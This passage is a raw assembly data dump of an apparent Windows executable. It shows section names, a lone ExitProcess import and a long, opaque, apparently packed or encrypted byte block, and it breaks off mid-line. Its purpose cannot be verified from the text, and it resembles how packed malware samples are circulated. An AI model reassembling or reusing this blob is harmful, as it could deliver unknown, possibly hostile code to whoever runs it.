113CF00h dd 2 dup(100000h), 80000000h, 100009h, 20000h, 400h, 0 dd 400h, 0 dd 1900000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 600800h, 2800h, 14h dup(0) dd 600000h, 800h, 6 dup(0) dd 73622E00h, 73h, 4A1C00h, 100000h, 5 dup(0) dd 8000h, 64722EC0h, 617461h, 5400h, 600000h, 20000h, 40000h dd 3 dup(0) dd 4000h, 61642E40h, 6174h, 1140000h, 700000h, 0CA0000h dd 60000h, 3 dup(0) dd 4006000h, 0E0h, 71h dup(0) dd 603800h, 0 dd 603000h, 2 dup(0) dd 604600h, 600000h, 5 dup(0) dd 603800h, 0 dd 4500AF00h, 50746978h, 65636F72h, 4B007373h, 454E5245h dd 2E32334Ch, 6C6C64h, 6Bh dup(0) dd 3D9A5100h, 0B25D970Ch, 82526279h, 15DEDEB6h, 8F16940Fh dd 6F38FDA7h, 0BE874E4Eh, 0E7AB59F5h, 0B403F46Ch, 0E051F69Bh dd 5D072C80h, 0A0D3782Ch, 6D1F2AB3h, 6D36FFC8h, 0E59023CFh dd 0EB5CA055h, 892EC36Ch, 5FD1E88h, 0CA01E074h, 71B4BBFCh dd 73673A28h, 3FDD00B0h, 8662CFBCh, 39D39CEEh, 0A5893E9Dh dd 2A0B7090h, 0DFF8B881h, 6D2C4FB9h, 0C398A6F3h, 0FAB92544h dd 4D5173D9h, 14F06253h, 58A3AB46h, 96EE500h, 183ED66Fh dd 0F8C18A2Bh, 4ECE662Fh, 0F0630AA0h, 6019B169h, 8B8F2EEAh dd 0EAAED7E4h, 0CEC7DC9h, 0AC17B091h, 0DAEA1EE7h, 8783A63h dd 531CE5ACh, 983BFDBAh, 76484468h, 2114E6CFh, 0CEC64A9Dh dd 743DD032h, 6CC377A2h, 4796B288h, 0A5E5B5FEh, 2DF562Ah dd 91F411E1h, 80BB1798h, 0C3ECBD14h, 0E7A06DF3h, 3C8C551Eh dd 0F9829ECh, 0B37CD14Fh, 0E75821EAh, 6F2F788Dh, 327FCBF1h dd 67C69801h, 642DF6AFh, 1BD49D5Dh, 6FCE00D2h, 0D2A4CDA6h dd 73CA564Ch, 0D111E1CAh, 735C7DDEh, 0DFF0E1AAh, 0D6642DF6h dd 0AD772045h, 89561FE8h, 9236FFC8h, 0FF10D95Ch, 0DBA46D36h dd 0F7804912h, 0D39C652Eh, 0AF78410Ah, 8B541DE6h, 6730F9C2h dd 430CD59Eh, 1FE8B17Ah, 0FBC48D56h, 0D7A06932h, 0B37C450Eh dd 9E5922EBh, 611291CAh, 0E60E8A2Ch, 40A0FA7h, 26D871ECh dd 0E580B99Ch, 4CF6812Fh, 3BA349A8h, 9653F99Ch, 391886ADh dd 4AAB6C02h, 19260FA8h, 52C80D97h, 0EE41ED8Ch, 0CAA76428h dd 0EEB78049h, 99935C25h, 4A246C8Eh, 53E9FA10h, 3CF0E329h dd 0DB0CC2h, 0E73A21ECh, 431C5785h, 1229B411h, 73324EAh dd 8840A396h, 0B3A7B05Eh, 1AD12A1Ah, 0F63B2CE2h, 845A2D9Eh dd 0E2BFA866h, 0BD4E11F2h, 9A56814Fh, 16B8AB60h, 0BA4D66B4h dd 25CFD846h, 0EE2235DBh, 0F4055EFCh, 0D6697A90h, 60BFC0BAh dd 4E81D278h, 6D5AE12h, 0A43F28E6h, 4FD17C16h, 3FE4FF1Dh dd 1BE4AD76h, 0F7C08952h, 0D39C652Eh, 0FF78410Ah, 6CE9B273h dd 0C915D8A2h, 21E44C1Bh, 0FDC68F58h, 39A26B34h, 0CF4D29F0h dd 0BD763907h, 3902CB54h, 25EEB760h, 521BE20Ch, 9F6831F9h dd 0ECB57CA6h, 29F2BB43h, 15DE9760h, 1CA935Ch, 0DBA8713Ah dd 0BF88511Ah, 9F642DF6h, 7B440DD6h, 5720E9B2h, 450ED79Eh dd 25EEB778h, 2CA935Ch, 0E0A9723Bh, 0CC955E17h, 0B8814A13h dd 0A46D36EFh, 905922CBh, 7C35FEC7h, 0FC21EAB3h, 603CA52h dd 521BE4ADh, 2B5821E9h, 10D9A26Bh, 0ECB57E47h, 0C8915A23h dd 0A46D36FFh, 804912DBh, 5C25EEB7h, 0D801CA93h, 5E1FE62Eh dd 3A03CC95h, 16DFA871h, 0F2BB844Dh, 0CE976029h, 0AA733C05h dd 864F18E1h, 622BF4BDh, 3E07D099h, 1AE3AC75h, 0F6BF8851h dd 0D29B642Dh, 0AE774009h, 8A531CE5h, 662FF8C1h, 420BD49Dh dd 1EE7B079h, 0FAC38C55h, 0D69F6831h, 0B27B440Dh, 8E5720E9h dd 3F33FCC5h, 733C25A6h, 4F18E1AAh, 7C450CD6h, 6831FAA3h dd 440DD69Fh, 24EDB67Fh, 0C9925Bh, 0DCA56E37h, 38814A13h dd 0A13DA66Fh, 0FEA75FD0h, 0DAA36C35h, 0C68F5801h, 3CC959Dh dd 0E1AA7338h, 0C18A531Ch, 9D662FF8h, 79420BD4h, 151EE7B0h dd 64FA03CCh, 3CE11CEDh, 18E1AA73h, 945D26EFh, 9AA73BBh dd 3F08D19Ah, 21EAB370h, 0FDC68F58h, 0D9A26B34h, 957E4710h dd 351A430Ch, 0D8BD8825h, 0D13A8B1Ah, 0B3238178h, 11D402CAh dd 6608CA71h, 68C94AF7h, 0E15930DCh, 0A82E9101h, 8F868D8h dd 601AB481h, 977E02C7h, 0B554FD43h, 3EE16AE1h, 9A318155h dd 0A9AC46FAh, 0E99A04AFh, 56E2962Ch, 20EB58BDh, 19B4866Bh dd 37AEA922h, 17E25BB8h, 89533AA8h, 33E89A2Bh, 0B340ED83h dd 8B6BE152h, 8F86822h, 0E3432397h, 0CC0A8373h, 9D2DEF64h dd 3CD31EE7h, 0C221282Fh, 0A24CE771h, 3ADE6411h, 0B360E59Eh dd 894E33F8h, 70E78B21h, 5A3308B0h, 4C89049Fh, 8F740FA5h dd 8841C253h, 0C469EC96h, 42F1A852h, 0CA671BB0h, 8280610Ch dd 0D862CCDh, 0B5590C08h, 52C76F0Fh, 18B254C1h, 6525DF70h dd 8F44D7BCh, 6B34FDC6h, 4710D9A2h, 23ECB57Eh, 0FFC8915Ah dd 0DBA46D36h, 0B7804912h, 935C25EEh, 6F3801CAh, 4B14DDA6h dd 27F0B982h, 3CC955Eh, 0DFA8713Ah, 0BB844D16h, 976029F2h dd 733C05CEh, 4F18E1AAh, 2BF4BD86h, 7D09962h, 0E3AC753Eh dd 0BF88511Ah, 9B642DF6h, 774009D2h, 531CE5AEh, 2FF8C18Ah dd 0BD49D66h, 0E7B07942h, 0C38C551Eh, 9F6831FAh, 7B440DD6h dd 5720E9B2h, 33FCC58Eh, 0FD8A16Ah, 0EBB47D46h, 0C7905922h dd 0A36C35FEh, 7F4811DAh, 5B24EDB6h, 3700C992h, 13DCA56Eh dd 0EFB8814Ah, 0CB945D26h, 0A7703902h, 834C15DEh, 5F28F1BAh dd 3B04CD96h, 17E0A972h, 0F3BC854Eh, 0CF98612Ah, 0AB743D06h dd 875019E2h, 632CF5BEh, 3F08D19Ah, 0E7E4AD76h, 0A41DE42Eh dd 814A131Bh, 5D26EFB8h, 3902CB94h, 3DDEA770h, 83440D15h dd 0B07940CAh, 8C551EE7h, 6831FAC3h, 720DD69Fh, 408148D0h dd 0EDB67F87h, 0C9925B24h, 0A56E3700h, 0C34A13DCh, 0F9CA939Bh dd 36FFC650h, 12DBA46Dh, 0EEB78049h, 9A935C25h, 0A021E830h dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 7DEAB37Ch, 43844DD5h dd 0F0B9808Ah, 0CC955E27h, 0A8713A03h, 0E24D16DFh, 0D0F1B840h dd 5D26EF37h, 3902CB94h, 15DEA770h, 83BA834Ch, 596A33FBh dd 0D69F66B0h, 0B27B440Dh, 8E5720E9h, 1433FCC5h, 0DEEFB67Eh dd 5B24ED35h, 3700C992h, 13DCA56Eh, 63B8814Ah, 41824BD3h dd 0EEB77E88h, 0CA935C25h, 0A66F3801h, 1A4B14DDh, 0A021E830h dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 21EAB37Ch, 0FDC68F58h dd 0D1A26B34h, 9E8B179h, 733C050Dh, 2418E1AAh, 0BE58FF94h dd 0C3B6291Bh, 33FC8136h, 0AB4BED6Ah, 42E9B106h, 0DA8803CBh dd 7E02CB12h, 0F7AE27D2h, 822FB741h, 12A06EE5h, 68ECB578h dd 6AE473E0h, 2FAA1DE7h, 47C86D02h, 8E12E07Eh, 8D08E315h dd 0E92ACF6Ch, 1C8B1620h, 659F1F96h, 45EA07F2h, 8EA66FA0h dd 0A92EA32Fh, 0C415E05Bh, 0D781B257h, 35AE6432h, 7F1CB15Eh dd 0BA3FBEB6h, 4F2F462Eh, 45EA8FA8h, 5FD854CCh, 43DE58DFh dd 29CE638Ch, 0ECF76E8h, 972ED869h, 42F700E7h, 0B5AB74BDh dd 0CA3CC823h, 0A055E251h, 0F5491203h, 7315B95Eh, 0BA849ACh dd 1BE4AD66h, 72C08952h, 0CC11E3A0h, 7E713A03h, 0BD854CD4h dd 98622BF4h, 773F08D1h, 9F1CE5AEh, 8D26EF37h, 0BF34FD05h dd 0E3460F17h, 6F7C45EEh, 0CD965FA7h, 5EFB5804h, 1B14B9h dd 632CE9AEh, 3708D19Ah, 23ECB57Eh, 0FFC8915Ah, 0DBA46D36h dd 0B7804912h, 935C25EEh, 6F3801CAh, 0CB14DDA6h, 4E18917Eh dd 541C4888h, 7A9BC48Dh, 561FE8B1h, 0B0B48A0Eh, 0EA1DA532h dd 85BBF0A6h, 145A58E7h, 0F6BF8851h, 951A642Dh, 0A77039E1h dd 8FAE0735h, 380845C0h, 30E8FA3Ah, 0C5EFA4F6h, 7B49D9EEh dd 6FC7B6C0h, 4A14DDA6h, 0F446E058h, 89BE155Fh, 8A132BB9h dd 0D6FCA240h, 13C0022Ah, 65BDF2E1h, 0A29CBD67h, 0D75D7832h dd 0AD94D07Ch, 0E762296Ch, 4100289Dh, 4A8A0698h, 0F446E058h dd 89BE155Fh, 83132BB9h, 47E1594Bh, 0A1165EF5h, 1034B688h dd 0DD53C80h, 0BD7B27C5h, 278CA473h, 6AB23012h, 7A20C20Ah dd 46849454h, 3F706791h, 1E23E5E7h, 3DC50E96h, 0F42A5874h dd 0B6022AC2h, 0BA0B4DEBh, 2E4DDA8Dh, 0D19FDC67h, 4967DB53h dd 22586805h, 0C3E1C0ECh dd 3A7AB3E8h, 5BA42F71h, 951B5D13h, 61AC0854h, 6177BFD7h dd 76AC9C5Dh, 93A1AB40h, 99EE825Eh, 0C18A531Ch, 763FFB41h dd 0A4A26EADh, 57DF2C4Dh, 1EEACBF9h, 2173A090h, 534206Bh dd 0F839185Ah, 0E30EE7EEh, 2C8534E6h, 2CA56D88h, 7C82C48Ah dd 266D7CBCh, 4208B204h, 58CE038Ah, 0E135C452h, 0D952DBB4h dd 447E4811h, 28E5EBB1h, 0D99203A0h, 0C2ED4811h, 0C4CD000Eh dd 0CBEB7A8Fh, 2FE54BFBh, 40D553D1h, 0DB52ACD0h, 567295E0h dd 5F875849h, 1DD79796h, 0AC08D1DBh, 2F60F7B3h, 0C8BA0785h dd 101ED2A1h, 9578D5DCh, 46DE6C2Ch, 905A149Eh, 0BD444E4Bh dd 72BC3D64h, 27915B5Bh, 696D230Ch, 1098A740h, 5192185Ah dd 0CFA64C67h, 1F15A4CFh, 78819E9h, 0C48F4FCFh, 0E425875h dd 0AE6139C9h, 864ECC8Ch, 23CAD0BFh, 448E915Ah, 0C92A0E7Dh dd 5B450DD6h, 773586AEh, 0EEC77775h, 0F7BF7693h, 0D0A46D2Dh dd 0CC95471Eh, 0A10ADDF5h, 0F938AD67h, 0E8A0743Dh, 588E84D2h dd 0C820295Dh, 0D30B73C7h, 69220BB4h, 2060128Bh, 0EAFB37Eh dd 6834EDCFh, 5305A254h, 5EF74855h, 0F23B25D7h, 0C105A0D6h dd 1A840128h, 0F2604B01h, 0BC2253EBh, 8E4A0C75h, 2F659B47h dd 0F792ADB9h, 0CDBB4F9Bh, 721AA5A9h, 0E18A08C2h, 28ED2344h dd 83CB645Dh, 0B0E6F8C7h, 9A1420C1h, 890E9415h, 38478B09h dd 31B53FBDh, 7A487E44h, 0C40AF3BAh, 30BF3AB6h, 6EA22AB6h dd 5FD5EEB6h, 9952C337h, 0BB3FC9FFh, 9638138h, 7473F03Dh dd 77D087A3h, 2CC5498Eh, 8A1EE453h, 158EF4A3h, 2E0AB2A3h dd 0F8F1EE98h, 3A7044EBh, 0A5772EF9h, 7FF4CCD4h, 0D88A33D8h dd 0BBFD9622h, 53ED3977h, 5C59A360h, 0C79C376Ch, 4371435Dh dd 0AC7C045h, 0CDAF38BEh, 20B40F28h, 0E4BD21B2h, 78388D0Ah dd 0C092B6F1h, 139720D0h, 830B11E0h, 7A54BE4h, 0D379E86Dh dd 0F3352B10h, 3166769Dh, 8236C16Fh, 18E84FE6h, 343CE222h dd 49865DEh, 0C63F5A88h, 0A41FF66Dh, 905C95E9h, 801FB05h dd 0B1641258h, 0DE5EFF6Bh, 14B59F05h, 0FF80591Ah, 93A5834Dh dd 0E151128Fh, 3FA90F28h, 0F5ECD0A5h, 0C01EC872h, 15FDD6A7h dd 0C2751ADBh, 754C5051h, 9C993FD3h, 58CB81A4h, 28E8B2ABh dd 2C0063B7h, 0C2C06919h, 713FA040h, 9B8C7CC7h, 9A034140h dd 41100CF1h, 0B1F75558h, 17592AB4h, 50DF97CDh, 106CAAB0h dd 7AFB6608h, 7223EEB7h, 72801EA8h, 2BF74Dh, 2137EAC3h dd 8B4B6FF4h, 0E685826Eh, 3E167FCFh, 0D1F5390Bh, 85D65F3Eh dd 0D08BB7A3h, 310A44C4h, 5615ECCAh, 0D62AF062h, 4A13CDB8h dd 0CB6A108Eh, 74821E3Dh, 9F1C67BEh, 378081AEh, 0B10C6376h dd 3441FD86h, 621226FDh, 36284E99h, 0D29842EFh, 0C17CC118h dd 0A38B1C20h, 5EE829E1h, 0B235050Bh, 0DD54522Dh, 0D83EFA7Dh dd 72BBC5B6h, 572A27FDh, 76C09CB8h, 3199E6DAh, 5DDD1727h dd 0B003AD9Dh, 3526E194h, 0B9A27B6Ch, 0B2466A3Eh, 0A8CE14A3h dd 98716984h, 1E8401F6h, 568F0E4Ch, 0DC1EB486h, 12B8C79h dd 0D575BE5Bh, 40C66794h, 8D31D099h, 66C720D3h, 807F4889h dd 5AA54B23h, 42996D6Ah, 0F66805ADh, 83A9B97Ch, 177AB6EEh dd 0B579FD75h, 0EAD862CCh, 1E3B458Ah, 0D71C2BF5h, 7817C005h dd 0CAD410B9h, 4BA7854Bh, 625E2DD0h, 0EF6EB685h, 76AFE869h dd 59199FADh, 40818E66h, 13CD2668h, 66248BEBh, 0ED84F0CBh dd 0A7E7023Ah, 1DC14709h, 9E53A042h, 72B120DEh, 0BAC6C21h dd 0BBEFC5F0h, 0B0DEE488h, 5AF59C9Dh, 0C2DCA1CAh, 1AC51F1h dd 17867F1Eh, 0B8144FC5h, 0E5520D2Fh, 0CB240744h, 3D1C4146h dd 828192h, 0BE6CA294h, 0E9104573h, 359ABFC3h, 6150779Ah dd 80B02E1h, 531076B7h, 5B694A0h, 4387BDEFh, 3BC60A35h dd 492C568Bh, 0C9156FC3h, 56E5F9F1h, 0B7E2DD69h, 0C72B2F9Ch dd 0EF151386h, 0A5928BF5h, 1E7B625Fh, 0E5D1D227h, 0CF46260Bh dd 0F406D6FDh, 32E61090h, 0B57FB6D5h, 0C325627Eh, 0DA103088h dd 6FE8463Ch, 1E95595Ch, 23A9FCD7h, 0FD59587Bh, 2C8EFDBFh dd 92C8FC4Fh, 35F7065Ch, 4C77FFE9h, 0A38AE9CEh, 1496EDE3h dd 0DAD2ED8Bh, 6B3ABB7Bh, 69B3DACBh, 86C25CDh, 0D1CF053Bh dd 0C56CB05Dh, 2C944BFFh, 3ADD2CCBh, 19999B07h, 0BD1D1D57h dd 0E6F5A204h, 2F4B0DBBh, 0B05AB254h, 0ABEC2E4Bh, 0F7B7E223h dd 6886D2B8h, 0C16D0E52h, 6655D7C8h, 29ACE43Bh, 26BF236Ah dd 93477FFEh, 7A9758B1h, 401F0091h, 698E1C97h, 783D4439h dd 0E647169Eh, 1660E6D2h, 0C63E834Bh, 8B7AEA95h, 64536200h dd 0C06D9E45h, 6584CD8h, 0D790EA00h, 66C3913Dh, 7AF823B7h dd 8D386B39h, 0A6C70F8Eh, 7180A9EDh, 0C2F74D4Bh, 0E0D5DD78h dd 62F1DEDEh, 936F99A9h, 0C14AC558h, 0ACC7F975h, 72EB7098h dd 35793CFFh, 0B8D29B8Bh, 0F2FED50Eh, 35D462D1h, 0D6101099h dd 0CA08AEF4h, 9E18AB63h, 0F233BE51h, 654C3AEh, 0EC36B288h dd 38601F4Bh, 0E4403C78h, 6120F34Dh, 0E4C918CFh, 9488CFC4h dd 0BD26ABF3h, 0B566CF15h, 7879B977h, 4B7650DBh, 0B871B81Ch dd 0BFC6E0CAh, 49299462h, 0C1BF12CDh, 7ABF6C9Bh, 5BF03B32h dd 0A38288CEh, 0C24262h, 0E1D23379h, 7CB2E848h, 7EEA3446h dd 0AF84AD8Fh, 0BF42CECEh, 746EC7Dh, 30C8C2Fh, 4C8192D2h dd 5FE10C2h, 0E71DABE9h, 60220F95h, 0A0D98F77h, 5C75C62Bh dd 7B7D79A7h, 0DFF1FFB7h, 808D44A4h, 94BD2FDBh, 15FF87C4h dd 46038DB4h, 2A5207C6h, 1F98B767h, 36567729h, 131E10FDh dd 0DAE131F6h, 91A96819h, 0DED2470h, 13D99B64h, 3A707069h dd 0AB6AFAFFh, 0C46D468Dh, 21F38C31h, 3EB4020Ah, 0CF3279BFh dd 0A772A708h, 3BDF782Bh, 0CE6BCE95h, 0D6E7ED29h, 0D2F63FE2h dd 0A6993AB3h, 33C461E7h, 4EA0D6B2h, 0E3984847h, 0D52DF221h dd 0A979C797h, 3CE996B7h, 4C02A083h, 7CC2487Eh, 0FD6133D5h dd 6F19BF58h, 41F25EB2h, 0A369DD26h, 0ED1BEB7Dh, 742D2AB7h dd 4275E9A8h, 7AB0BBF7h, 0C36F08C4h, 0E6463536h, 9A5202A2h dd 1C141DB6h, 0D7FB51DBh, 30F92685h, 0A2321F14h, 0D2BB470Fh dd 2AFC9C34h, 0D2674573h, 0EC09F54Ch, 0F554E50Dh, 0F12B721h dd 9DAB4FE5h, 111C58DDh, 0FA1B9994h, 6B676531h, 0A999A3D1h dd 0A4AB44C1h, 0B81DEE52h, 0C48E01D3h, 0B95FA44Dh, 5D7A239Dh dd 6BCD56EAh, 856BF6F2h, 87D28F4Dh, 0F84D8267h, 5A903438h dd 0AE611EB5h, 0A65DF504h, 35623414h, 0AB71E692h, 7FA1730Ch dd 0CB1BEFB4h, 4B61A7DDh, 66FF4FD5h, 3E8188Ah, 0B4A043B8h dd 2A21A567h, 0FC5B957h, 4EBC6F27h, 19E279C2h, 0F543F92Fh dd 20D423EFh, 2DAF37DDh, 2E34C39Ah, 4BE50C07h, 72F71F87h dd 54BE3992h, 0C2F8CE32h, 8C5CF073h, 0D1403015h, 7BFA6429h dd 2BAF2EECh, 2436C586h, 45290724h, 928643E3h, 0EDA7DA78h dd 0E609FF4Eh, 0C489334Ch, 0A3AE8B4Ch, 0BFBF8635h, 0E962F65Dh dd 0D6813117h, 262E34F7h, 72C2AD11h, 0BC43B85Ah, 25D85916h dd 655DEFD9h, 58E66833h, 45D855A7h, 3E02A1B4h, 62D5461Eh dd 28D118CAh, 0E3480410h, 4B79AA5Ch, 5A0A0115h, 2A926DE5h dd 42223CD2h, 0A6A42CD6h, 0AF6E8D41h, 640C3CBBh, 0BAF0A481h dd 8930232Ah, 49E149D4h, 19827810h, 503794E6h, 8BB965C9h dd 1E4010FEh, 880F0126h, 0A338C067h, 8D443D1h, 7199EEEEh dd 61846A81h, 2C851B90h, 0AEEAC640h, 0B05E85FCh, 82343CB3h dd 1CE241D0h, 0D610774Eh dd 607BA700h, 67DD07F8h, 6ECAFF35h, 0E0863FD3h, 8837A837h dd 3EC803E3h, 0CC15CC5Eh, 35269568h, 4D84B8C7h, 338F18D7h dd 8534E681h, 0ABAD21F2h, 0BA370B4h, 0E32B3B53h, 7F17BA67h dd 9A4166DBh, 0BB9BFEC6h, 8820169Fh, 5151700h, 40FAB050h dd 0F9371630h, 0BE02F8B9h, 0F54F34CAh, 18038B44h, 0F5ACDBCFh dd 0D8418444h, 5D318050h, 55A6678Ch, 0A9AC1B2h, 673ADCB8h dd 0F53F59D5h, 0DAC34E2Fh, 380A284Ah, 0CBDA4A2Bh, 4E8302CEh dd 0D674A28Ah, 60D6D5C6h, 1E0D9FB5h, 353E917h, 998F11C5h dd 0D9835326h, 4F04FC7Ah, 96032A8Dh, 52764DB1h, 0FF14D9E8h dd 6D2CDC4Eh, 9979FD0Fh, 8412E75Fh, 0ED6E12CAh, 0C625A20Ch dd 6ECE3262h, 926E8170h, 373F2B34h, 28D656DCh, 59FF5DFCh dd 2937ED23h, 0F94A9266h, 0B961FB5Eh, 3F24E10h, 219551A4h dd 833AB023h, 5F1FBBB9h, 0CBF4AAD9h, 85739795h, 1046B567h dd 0F162DE60h, 0CCD766Ah, 0C434DB6Dh, 87D6AC72h, 0ED2040A9h dd 0C256D11Fh, 0CA60D146h, 8A242D3h, 27BCBC5Ch, 6356DCADh dd 37D07446h, 6AFE61ABh, 3BD01A8Eh, 81502911h, 0E3A823E4h dd 98FFF2C1h, 865D8E9Fh, 0AD288A1Ch, 671DDF20h, 0FD733FB5h dd 8160866Ch, 0C935C329h, 0EAAA3747h, 0BD7F86FEh, 23BA3EB3h dd 179C8044h, 0EE671D71h, 0D255DF52h, 0CF850502h, 9CB11E8Bh dd 0B38F5DD6h, 0A6C26CB0h, 6040C36Ah, 0B4FD70ECh, 81B329FAh dd 0CC4A2F19h, 4D8C4F75h, 0EB394BABh, 5BA785F9h, 53D159D8h dd 52A6B6DEh, 0CF9D3956h, 0B63E835Bh, 4FE6BB20h, 275707EBh dd 75A33A10h, 0E57EF3C3h, 0E325569Ch, 827DCC9h, 0DE52A49Bh dd 48D81295h, 678264C2h, 51C6C7Bh, 0AC346BAh, 4CD05D2Bh dd 1A560129h, 0BCB9C9D7h, 6C2ED28Ch, 0FF2BAEA6h, 0C1AC343Bh dd 0AF173FD7h, 9443A136h, 65787228h, 0AB3DC344h, 0B0E6DEBDh dd 0AF5AC643h, 48A01FFEh, 49E96FB2h, 288E8330h, 9A2A8D23h dd 5E8024EFh, 0A3177515h, 7E448F1h, 610F2A0Ah, 3608BDCBh dd 1D27267h, 0F1EF19FFh, 827280E8h, 924EB46Eh, 5507E4AEh dd 0FC699A45h, 121FCAFCh, 22EF9D22h, 7AD38495h, 1112E77Dh dd 39E280C7h, 859F5D19h, 0F6F11EC7h, 0BB3951F7h, 0B252301Ch dd 4BFA6608h, 0B15E3FE4h, 0F919105Ch, 36C3D183h, 72DA37FBh dd 0A52A6EB0h, 1D3FC2D0h, 35CB8A5Eh, 7C9C135Ch, 50FA55FDh dd 0C53FAF33h, 400C5CE5h, 3D9B319Ch, 74EE921Bh, 0E3AB61F0h dd 5184EFE5h, 45D941CAh, 5CD55B1Dh, 0C871F8AAh, 0BE009F69h dd 0BB3A4CA8h, 7427B827h, 769F09FCh, 60EB2C9Ch, 279D76F8h dd 0A3D90FA5h, 1BF823DEh, 0E85A44A9h, 0FB50CA73h, 0F569FF5Eh dd 0B01E9077h, 0F081B790h, 853B87B3h, 749F56CFh, 44A631D5h dd 2EDE12ECh, 608762FFh, 0F0360EA3h, 0D67AACA4h, 903CDC09h dd 5B063EDBh, 87916DF8h, 0A17B27D9h, 92858313h, 0BB43FE4Bh dd 0FB50D336h, 840F8166h, 0A93FD592h, 325BDD6h, 0EB511ECDh dd 0E958F478h, 510FAF37h, 70D81FF3h, 65AD35F2h, 0E3794F73h dd 0DA01F952h, 0B80BE07Ch, 0C7B0B120h, 0BC2E9609h, 901002BCh dd 4A25575Dh, 0AAC335FBh, 6B9FF0F5h, 8F5A38C9h, 0A1D8661Fh dd 2E97241Dh, 0EA7E3DF8h, 7033AD8h, 0BF5E3CF9h, 3041C3EDh dd 0F89A0E12h, 0FC6B6456h, 5A2DF705h, 0E7AA56E2h, 444EE401h dd 7FC5E6D4h, 0E698489Dh, 22F3BD6Fh, 6FE51D0Eh, 0D28697A1h dd 37A60839h, 4A351D89h, 0A799E7ACh, 0E71BEF61h, 0A1569789h dd 4463511Ch, 213AC766h, 0F751FF04h, 0C89A6036h, 0E263A51Ah dd 6619692Ch, 0AEAE8EBBh, 221ED162h, 9FD65B8Ch, 61D64ABDh dd 334D1A84h, 25F76FFBh, 0F98A7214h, 3527CE34h, 5FF926C0h dd 0B65C3997h, 0B3B2E8E2h, 0E22AB125h, 3BA0822Fh, 9035EBC0h dd 3E39E084h, 10E89091h, 0A8A04C17h, 5FDC760Ch, 98A1170Eh dd 0CA56328Ch, 0C2963031h, 38FA0370h, 3F4FBA5Fh, 7E174B4h dd 5C56E54Eh, 0CC961596h, 86F70969h, 93D323B6h, 0DF91003Bh dd 52EF0E4Ah, 9F6B4DBCh, 0F150DE8Eh, 0F6FDB152h, 0C9A9DFA6h dd 2A397470h, 0EC51C06Ah, 0B8F8087Fh, 96D86C88h, 30D962E6h dd 105D03F1h, 2EFDC802h, 56956FF5h, 76110022h, 14F8BAFFh dd 207B6C92h, 0C31A02A5h, 8A175E3Dh, 7725E343h, 0A225ACC7h dd 0B3B22850h, 579E8F70h, 9DBBCD89h, 6F2094FFh, 24F54BECh dd 132B2A46h, 0A110883h, 0A59906BAh, 5414EC33h, 0B356FD3Ah dd 5FF9F7F6h, 81AF88A3h, 0B06E52ECh, 4F91721Bh, 7ABA26C0h dd 19232C3h, 0FE75597Dh, 58FF426Bh, 0A300DCB4h, 958F476Ah dd 7EB45DA7h, 5ED6116h, 0F100FA1Ah, 871D15DBh, 0B414503Fh dd 3B0F00FFh, 2BF53B3Ch, 35F876FEh, 0C868FD4Ah, 0CC25EE98h dd 50CDB592h, 812936DFh, 0B133D32Ch, 684485BDh, 6E06AAB6h dd 0A4AF26C3h, 6DD45954h, 0E07C998h, 0A4B314BCh, 3D9B93ECh dd 340BB790h, 5D078C48h, 40B04659h, 1C32C07Ch, 0ECA09EFFh dd 20DD5105h, 0FE7A527Eh, 8BD43070h, 0F0950639h, 6B4B5FD5h dd 0A40168CFh, 819837E1h, 6929339Fh, 801EAABh, 0C770C9AAh dd 87E6AD9h, 0EE47F75Eh, 952FA543h, 78C3ACF1h, 14D678F9h dd 0C89F8C40h, 0D9B950Bh, 9A227FDAh, 43986DD0h, 9335C57Ah dd 345C118Eh, 6CCEB47Fh, 6ED93CCCh, 3123B92h, 7B1CB618h dd 4ABCC6B3h, 42525680h, 3C31EDA8h, 62D7BE9Ch, 0BBD6D5ABh dd 0E697BF97h, 0A829F903h, 0DF9E6898h, 0E39D54D6h, 69FA30Bh dd 3D2EBD9Fh, 0D647E568h, 24EDC80Fh, 4AF2A86h, 0B49CC68Ah dd 0BFEF9B18h, 0EB46E8ACh, 0E64DAAA8h, 6A74416h, 3C8F74EFh dd 129B455Ah, 57A26169h, 41C307F6h, 40D57BA6h, 0B1B202E1h dd 0E416518Ah, 28B39047h, 97550C7h, 0F234B10Dh, 0F656E470h dd 26DA044Dh, 0E6A34444h, 2A3156C0h, 714FDB0h, 42628020h dd 70041E9Bh, 0E35ACD73h, 95145DFEh, 0CB2C0B0Ch, 29F9BD2Bh dd 33E7648Ch, 0B9428A02h, 0B9945B6Fh, 0E59BA751h, 0F297DF6Bh dd 8CE18335h, 0A417330h, 31FA39B1h, 7C173E0Bh, 0AE587307h dd 38E1F7B9h, 75DB7DC9h, 0F0ACA59h, 0E315E543h, 6255A951h dd 0AD511266h, 0FECC6416h, 0BC04E24Dh, 0ADE74DCBh, 0A57CAE30h dd 31978732h, 0C39886B2h, 71848003h, 0CDBBA63Bh, 3664A31Dh dd 71DC5D11h, 9121637h, 5BECFD23h, 0F143CD4Dh, 0E1A4D4BBh dd 37ACBE51h, 1A2C04h, 9FA08856h, 960EFC4Ch, 0D66F2F00h dd 2679A118h, 523EA876h, 4F01F722h, 36E45405h, 54C78C3Ch dd 56DF15DCh, 0AA2E28CAh, 1FEE2B0Fh, 6FEACC87h, 31AFBAAh dd 39A30782h, 0A371CB70h, 8EC4741Bh, 0C864CF69h, 4C8A930Fh dd 6DB63E95h, 36F5EBCDh, 817BE199h, 0FEB62C12h, 3C110822h dd 0F32AEF7Fh, 8F262BF3h, 8A6E8142h, 0F52ABA43h, 0BAAC73FBh dd 0CEB7E45Bh, 0F2F865A5h, 9763C879h, 0CC306701h, 0D61996DAh dd 70F809F4h, 1EE212B0h, 6DE05515h, 2AD118D1h, 3F0777C5h dd 0B57E1C4Fh, 8FDD4391h, 0DE83678Dh, 308331Fh, 2115430h dd 5613854Eh, 0B7037EE0h, 55DEE52Ch, 3B3A0788h, 80D641D4h dd 17DAC516h, 6020EC75h, 7DD137D1h, 581EB35Ch, 1EEBAFB6h dd 59ECF14Eh, 7083B929h, 9B7F4C88h, 0D280FFB1h, 0AC1C8273h dd 4FE45E45h, 5D2B1987h, 0EA48C113h, 0FFA1B6Eh, 0EC733BD7h dd 0E4C4682Fh, 0E5B56B85h, 7285FAF0h, 85B87D93h, 0F46A890h dd 42F538D8h, 77C6F4Bh, 2BEB099Eh, 0DC9A5215h, 0B54FEB0Bh dd 22E2FE99h, 1F470AC3h dd 0D7857923h, 6D9BEC70h, 0E85700AAh, 0B2C6947Fh, 6EB207C5h dd 5D682B07h, 3D012106h, 43D49920h, 49427CF9h, 51BF6D54h dd 